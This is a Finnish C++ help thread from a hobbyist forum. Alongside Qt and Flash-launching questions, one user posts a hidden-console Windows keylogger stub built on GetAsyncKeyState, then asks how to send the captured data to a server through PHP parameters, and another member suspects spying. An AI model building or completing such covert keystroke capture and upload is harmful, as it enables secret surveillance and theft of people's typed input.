C++ -kysymykset

Muu yhteisön välinen keskustelu.
User avatar
valscion
Moderator
Moderator
Posts: 1599
Joined: Thu Dec 06, 2007 7:46 pm
Location: Espoo
Contact:

Re: C++ -kysymykset

Post by valscion »

legend wrote:äähh.. Mikään ei onnistu :evil:
Nyt kun yritän tehdä jotain yksinkertaista, eli ohjelmaa joka käynnistäisi flash sovelluksen, mutta koko ajan tulee errori "ei ole tiedostopolkua".
Esimerkki voisi olla paikallaan tai hyvät ohjeet..
koodin pätkä :oops:

Code: Select all

int QProcess::execute("c:\testi.swf");
Koitas isolla C-kirjaimella, kun asemien tunnukset on isolla. En tiiä vaikuttaako tuo wintoosan puolella tosin asiaan.
cbEnchanted, uudelleenkirjoitettu runtime. Uusin versio: 0.4.1 — Nyt myös sorsat GitHubissa!
NetMatch - se kunnon nettimättö-deathmatch! Avoimella lähdekoodilla varustettu
vesalaakso.com
temu92
Web Developer
Web Developer
Posts: 1226
Joined: Mon Aug 27, 2007 9:56 pm
Location: Gamindustri
Contact:

Re: C++ -kysymykset

Post by temu92 »

\-merkki pitää escapettaa lainausmerkeissä.

Code: Select all

int QProcess::execute("C:\\testi.swf");
Jos tuo ei toimi niin en osaa sanoa vikaa :P
legend
Advanced Member
Posts: 371
Joined: Wed Nov 18, 2009 8:06 pm

Re: C++ -kysymykset

Post by legend »

temu92 wrote:\-merkki pitää escapettaa lainausmerkeissä.

Code: Select all

int QProcess::execute("C:\\testi.swf");
Jos tuo ei toimi niin en osaa sanoa vikaa :P
Eipä toimi :( :(
DJ-Filbe
Devoted Member
Posts: 854
Joined: Sat Feb 20, 2010 2:18 pm

Re: C++ -kysymykset

Post by DJ-Filbe »

legend wrote:
temu92 wrote:\-merkki pitää escapettaa lainausmerkeissä.

Code: Select all

int QProcess::execute("C:\\testi.swf");
Jos tuo ei toimi niin en osaa sanoa vikaa :P
Eipä toimi :( :(
Kokeile jotain muuta komentoa. Vaikka System() :ä.
system("flaessi.swf");
User avatar
esa94
Guru
Posts: 1855
Joined: Tue Sep 04, 2007 5:35 pm

Re: C++ -kysymykset

Post by esa94 »

DJ-Filbe wrote:Kokeile jotain muuta komentoa. Vaikka System() :ä.
system("flaessi.swf");
*pök*

system ei ole alustariippumaton. system("flaessi.swf") ei käsittääkseni toimisi ainakaan linux-alustalla.

Periaatteessa mitä sä haluat tehdä on etsiä joku komento joka suorittaa ohjelman tiedostopäätteen tai muun assosiaation perusteella.
DJ-Filbe
Devoted Member
Posts: 854
Joined: Sat Feb 20, 2010 2:18 pm

Re: C++ -kysymykset

Post by DJ-Filbe »

Heitänpä tässä itse kymysyksen:
Miten tarkkailen tietokoneen näppäimistötapahtumia C++ -ohjelmalla ilman että näkyvillä on minkään valtakunnan ikkunaa?
User avatar
esa94
Guru
Posts: 1855
Joined: Tue Sep 04, 2007 5:35 pm

Re: C++ -kysymykset

Post by esa94 »

DJ-Filbe wrote:Heitänpä tässä itse kymysyksen:
Miten tarkkailen tietokoneen näppäimistötapahtumia C++ -ohjelmalla ilman että näkyvillä on minkään valtakunnan ikkunaa?
Mikä alusta?
Henkru
Advanced Member
Posts: 359
Joined: Sun Aug 26, 2007 2:46 pm

Re: C++ -kysymykset

Post by Henkru »

Keyloggereita löytynee ihan googlella ja sitten tiettyjä hakusanoja lisäämällä löytynee ihan lähdekoodeinakin. Joista voi asioita selvitellä.
DJ-Filbe
Devoted Member
Posts: 854
Joined: Sat Feb 20, 2010 2:18 pm

Re: C++ -kysymykset

Post by DJ-Filbe »

Löytyi :)
Muiden iloksi laitan pohjan tänne:

Code: Select all

#include <stdio.h>
#include <Windows.h>
#include <iostream>
#include <fstream>
#include <string>
using namespace std;
int main() {
    system("title System kb data");
    FreeConsole();
    string log;
    while(true) {
        if (GetAsyncKeyState(0x41)) {
            cout <<"a";
            log+="a";
            Sleep(200);
        }
    }
    return 0;
}
Niin ja koodista huomannee että windowsille on...
User avatar
esa94
Guru
Posts: 1855
Joined: Tue Sep 04, 2007 5:35 pm

Re: C++ -kysymykset

Post by esa94 »

DJ-Filbe wrote:Löytyi :)
Muiden iloksi laitan pohjan tänne:

Code: Select all

#include <stdio.h>
#include <Windows.h>
#include <iostream>
#include <fstream>
#include <string>
using namespace std;
int main() {
    system("title System kb data");
    FreeConsole();
    string log;
    while(true) {
        if (GetAsyncKeyState(0x41)) {
            cout <<"a";
            log+="a";
            Sleep(200);
        }
    }
    return 0;
}
Niin ja koodista huomannee että windowsille on...
Ai, kappas, se osaa jopa tarkistaa onko a-näppäin pohjassa? Sepä kätevää.

...Minkä takia sisällytät fstreamin?
DJ-Filbe
Devoted Member
Posts: 854
Joined: Sat Feb 20, 2010 2:18 pm

Re: C++ -kysymykset

Post by DJ-Filbe »

esa94 wrote:
DJ-Filbe wrote:Löytyi :)
Muiden iloksi laitan pohjan tänne:

Code: Select all

#include <stdio.h>
#include <Windows.h>
#include <iostream>
#include <fstream>
#include <string>
using namespace std;
int main() {
    system("title System kb data");
    FreeConsole();
    string log;
    while(true) {
        if (GetAsyncKeyState(0x41)) {
            cout <<"a";
            log+="a";
            Sleep(200);
        }
    }
    return 0;
}
Niin ja koodista huomannee että windowsille on...
Ai, kappas, se osaa jopa tarkistaa onko a-näppäin pohjassa? Sepä kätevää.

...Minkä takia sisällytät fstreamin?
Älä kysy multa, toi on netistä kopioitua ja lyhennettyä koodia, enkä äkkiseltään osaa sanoa mitä kirjastoja ei tarvitse (olen C++ :ssa aloittelija).
legend
Advanced Member
Posts: 371
Joined: Wed Nov 18, 2009 8:06 pm

Re: C++ -kysymykset

Post by legend »

Nyt kun olen epäonnistunut kaikessa, tarvitsen kaiken avun :D

Voisiko joku näyttää/tehdä/opastaa/kerto c++ esimerkin (joka toimii symbian 60 5th (touch) alustalla), jossa piirretäään yksikertaisesti joku kuva ja sitten kun sitä painaa se katoaa.
Nyt muuten tajuan coolbasicin hienoudet, paljon esimerkkejä jotka toimivat.
C++ (qt nokia) ei ole paljoja esimerkkejä, vaikka miten piirretään kuva ja siiten kun netistä sellaisen löytää, ilmee joku error.
EDIT:

oho, en huomannutkaan Nokia QT dev foorumia, joten kysäsempä sieltä...

Last edited by legend on Fri Sep 17, 2010 10:09 am, edited 1 time in total.
User avatar
esa94
Guru
Posts: 1855
Joined: Tue Sep 04, 2007 5:35 pm

Re: C++ -kysymykset

Post by esa94 »

legend wrote:Nyt kun olen epäonnistunut kaikessa, tarvitsen kaiken avun :D

Voisiko joku näyttää/tehdä/opastaa/kerto c++ esimerkin (joka toimii symbian 60 5th (touch) alustalla), jossa piirretäään yksikertaisesti joku kuva ja sitten kun sitä painaa se katoaa.
Nyt muuten tajuan coolbasicin hienoudet, paljon esimerkkejä jotka toimivat.
C++ (qt nokia) ei ole paljoja esimerkkejä, vaikka miten piirretään kuva ja siiten kun netistä sellaisen löytää, ilmee joku error.
Kokeile kysyä qt:n dev-foorumeilla..?
DJ-Filbe
Devoted Member
Posts: 854
Joined: Sat Feb 20, 2010 2:18 pm

Re: C++ -kysymykset

Post by DJ-Filbe »

Mitenkä menis tiedon kirjoittaminen palvelimelle (php-parametrien avulla(?))
Ei, kukaan ei arvaa mitä tässä ollaan tekemässä varsinkaan edellisten viestien perusteella :)
Henkru
Advanced Member
Posts: 359
Joined: Sun Aug 26, 2007 2:46 pm

Re: C++ -kysymykset

Post by Henkru »

Kvg. Jotakin oma-aloitteelisuutta kiitos. Melkein tekisi mieli olla neuvomatta, kun käyttötarkoitukset tuskin ovat järkevät. Sinun web-sivuilla ei saa tehdä mitään, mutta sinä saat urkkia muita ihan hyvin...

Mutta asiaan, WinSocket:lla (olettaen, että alusta on windows) kikkailet HTTP-kutsun ja tosiaan kvg.
DJ-Filbe
Devoted Member
Posts: 854
Joined: Sat Feb 20, 2010 2:18 pm

Re: C++ -kysymykset

Post by DJ-Filbe »

Henkru wrote:Kvg. Jotakin oma-aloitteelisuutta kiitos. Melkein tekisi mieli olla neuvomatta, kun käyttötarkoitukset tuskin ovat järkevät.
Mutta asiaan, WinSocket:lla (olettaen, että alusta on windows) kikkailet HTTP-kutsun ja tosiaan kvg.
Kiitos vinkistä!
Henkru wrote: Sinun web-sivuilla ei saa tehdä mitään, mutta sinä saat urkkia muita ihan hyvin...
En ole urkkimassa ketään. Se on rikollista ja siitä saa ties mitä sakkoja...
DJ-Filbe
Devoted Member
Posts: 854
Joined: Sat Feb 20, 2010 2:18 pm

Re: C++ -kysymykset

Post by DJ-Filbe »

Anteeksi tuplapostaus.
Heitän edellisestä melko paljon poikkeavan kysymyksen:
Miten saan kutsuttua:
system("start [http-osoitemuuttuja]");
eli miten liitän muuttujan arvon tuohon? C++ kun ei tue sitä suoraan näin:
system("start "+osoite);
Henkru
Advanced Member
Posts: 359
Joined: Sun Aug 26, 2007 2:46 pm

Re: C++ -kysymykset

Post by Henkru »

Oisko.

Code: Select all

std::string a = "blaablaa"+"plööö";
system(a.c_str());
DJ-Filbe
Devoted Member
Posts: 854
Joined: Sat Feb 20, 2010 2:18 pm

Re: C++ -kysymykset

Post by DJ-Filbe »

Henkru wrote:Oisko.

Code: Select all

std::string a = "blaablaa"+"plööö";
system(a.c_str());
php-parametrit eivät toimi tuon kanssa. Pitäisi saada muuttujan arvo vietyä php-parametrinä...
TheFish
Developer
Developer
Posts: 477
Joined: Mon Aug 27, 2007 9:28 pm
Location: Joensuu

Re: C++ -kysymykset

Post by TheFish »

DJ-Filbe wrote:
Henkru wrote:Oisko.

Code: Select all

std::string a = "blaablaa"+"plööö";
system(a.c_str());
php-parametrit eivät toimi tuon kanssa. Pitäisi saada muuttujan arvo vietyä php-parametrinä...
Testaa laittaa osoitteen ympärille lainausmerkit tai laittaa kenoviiva &-merkkien eteen.
CoolBasic henkilökuntaa
Kehittäjä
Post Reply